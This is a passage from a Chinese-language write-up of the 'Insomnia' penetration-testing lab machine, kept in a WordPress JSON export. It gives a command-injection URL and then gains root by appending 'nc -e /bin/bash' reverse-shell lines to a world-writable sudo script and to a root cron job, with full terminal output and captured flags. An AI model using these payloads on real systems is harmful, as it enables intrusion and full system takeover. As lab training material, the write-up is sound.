http:\/\/192.168.0.132:8080\/administration.php?logfile=test;nc%20-e%20\/bin\/bash%20192.168.0.143%201234<\/code><\/pre>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u5199\u5165\u53cd\u5f39shell\u63d0\u6743<\/h3>\n
\u53d1\u73b0sudo\u7684\u6587\u4ef6\u5177\u6709\u5199\u5165\u6743\u9650\uff0c\u4ee5julia<\/code>\u6267\u884c\u53cd\u5f39shell\uff01<\/p>\n(remote) www-data@insomnia:\/var\/www\/html$ sudo -l\nMatching Defaults entries for www-data on insomnia:\n env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on insomnia:\n (julia) NOPASSWD: \/bin\/bash \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n(remote) www-data@insomnia:\/var\/www\/html$ ls -l \/var\/www\/html\/start.sh\n-rwxrwxrwx 1 root root 20 Dec 21 2020 \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ echo 'nc -e \/bin\/bash 192.168.0.143 2345' >> \/var\/www\/html\/start.sh\n(remote) www-data@insomnia:\/var\/www\/html$ sudo -u julia \/bin\/bash \/var\/www\/html\/start.sh\n[Wed Apr 24 02:50:22 2024] Failed to listen on 0.0.0.0:8080 (reason: Address already in use)\nstty: 'standard input': Inappropriate ioctl for device\nbash: line 12: ifconfig: command not found<\/code><\/pre>\n\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39shell<\/h3>\n
\u540c\u6837\u53d1\u73b0root<\/code>\u7684\u5b9a\u65f6\u4efb\u52a1\u5177\u6709\u5199\u5165\u6743\u9650\uff0c\u6545\u5199\u5165\u53cd\u5f39shell\uff01<\/p>\n(remote) julia@insomnia:\/home\/julia$ ls -la\ntotal 32\ndrwxrwxr-x 3 julia julia 4096 Dec 21 2020 .\ndrwxr-xr-x 3 root root 4096 Dec 15 2020 ..\n-rw------- 1 julia julia 379 Dec 21 2020 .bash_history\n-rw-r--r-- 1 julia julia 220 Nov 30 2020 .bash_logout\n-rw-r--r-- 1 julia julia 3526 Nov 30 2020 .bashrc\ndrwxr-xr-x 3 julia julia 4096 Dec 21 2020 .local\n-rw-r--r-- 1 julia julia 807 Nov 30 2020 .profile\n-rw-r--r-- 1 julia julia 86 Dec 15 2020 user.txt\n(remote) julia@insomnia:\/home\/julia$ cat user.txt \n\n~~~~~~~~~~~~~\\\nUSER INSOMNIA\n~~~~~~~~~~~~~\nFlag : [c2e285cb33cecdbeb83d2189e983a8c0]\n(remote) julia@insomnia:\/home\/julia$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping = cap_net_raw+ep\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\njulia:x:1000:1000:julia,,,:\/home\/julia:\/bin\/bash\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/shadow\ncat: \/etc\/shadow: Permission denied\n(remote) julia@insomnia:\/home\/julia$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6 1 * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n* * * * * root \/bin\/bash \/var\/cron\/check.sh\n#\ncat: \/etc\/cron.weekly: Is a directory\n(remote) julia@insomnia:\/home\/julia$ cat \/var\/cron\/check.sh\n#!\/bin\/bash\nstatus=$(systemctl is-active insomnia.service)\nif [ "$status" == "active" ]; then\n echo "OK"\nelse\n systemctl start insomnia.service\nfi\n(remote) julia@insomnia:\/home\/julia$ ls -l \/var\/cron\/check.sh\n-rwxrwxrwx 1 root root 153 Dec 21 2020 \/var\/cron\/check.sh\n(remote) julia@insomnia:\/home\/julia$ echo 'nc -e \/bin\/bash 192.168.0.143 3456' >> \/var\/cron\/check.sh<\/code><\/pre>\n\u7136\u540e\u76d1\u542c\u7b49\u5f85\u53cd\u5f39shell\u5373\u53ef\uff01<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia]\n\u2514\u2500$ sudo pwncat-cs -lp 3456 2>\/dev\/null\n[02:53:10] Welcome to pwncat \ud83d\udc08!\n(remote) root@insomnia:\/root# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\n(remote) root@insomnia:\/root# cd \/root\n(remote) root@insomnia:\/root# ls -la\ntotal 36\ndrwx------ 5 root root 4096 Dec 21 2020 .\ndrwxr-xr-x 18 root root 4096 Dec 21 2020 ..\n-rw------- 1 root root 1431 Dec 21 2020 .bash_history\n-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc\ndrwxr-xr-x 3 root root 4096 Dec 17 2020 .cache\ndrwx------ 3 root root 4096 Dec 17 2020 .gnupg\ndrwxr-xr-x 3 root root 4096 Nov 30 2020 .local\n-rw-r--r-- 1 root root 148 Aug 17 2015 .profile\n-rw------- 1 root root 112 Dec 15 2020 root.txt\n(remote) root@insomnia:\/root# cat root.txt \n\n~~~~~~~~~~~~~~~\\\nROOTED INSOMNIA\n~~~~~~~~~~~~~~~\nFlag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc]\n\nby Alienum with <3\n(remote) root@insomnia:\/root# cat .bash_history \nps aux\nps aux\nps aux\nps aux | grep root\nps aux | grep \/var\nps aux | grep -i "\/var"\ncrontab -l<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Insomnia \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Insomnia] \u2514\u2500$ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-622","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=622"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622\/revisions"}],"predecessor-version":[{"id":623,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/622\/revisions\/623"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=622"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=622"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=622"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240424141615398\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459605.png\")
<\/div>![\"image-20240424141640434\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459606.png\")
<\/div><\/p>\n![\"image-20240424141909776\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459607.png\")
<\/div><\/p>\n![\"image-20240424144240717\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459608.png\")
<\/div><\/p>\n![\"image-20240424144742616\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404241459609.png\")
<\/div><\/p>\n